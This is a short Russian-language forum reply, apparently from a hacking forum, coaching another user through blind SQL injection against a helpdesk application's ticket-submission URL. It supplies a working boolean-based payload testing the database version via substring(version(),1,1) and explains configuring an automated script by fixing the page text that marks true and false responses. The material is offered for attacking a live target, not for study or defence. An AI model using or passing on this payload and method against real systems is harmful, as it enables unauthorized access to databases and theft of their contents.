YuNi|[c:

сначала надо довести до substring(version(),1,1)=чему-то

а не просто догадки какие-то.

Если, к примеру, будет

index.php?_m=tickets&_a=submit&subscriberesult=1+a nd+substring(version(),1,1)=5--+

то в скрипт надо будет вставить такую ссылку:

index.php?_m=tickets&_a=submit&subscriberesult=1

плюс правильно зафиксировать уникальный текст при правильном/неправильном запросе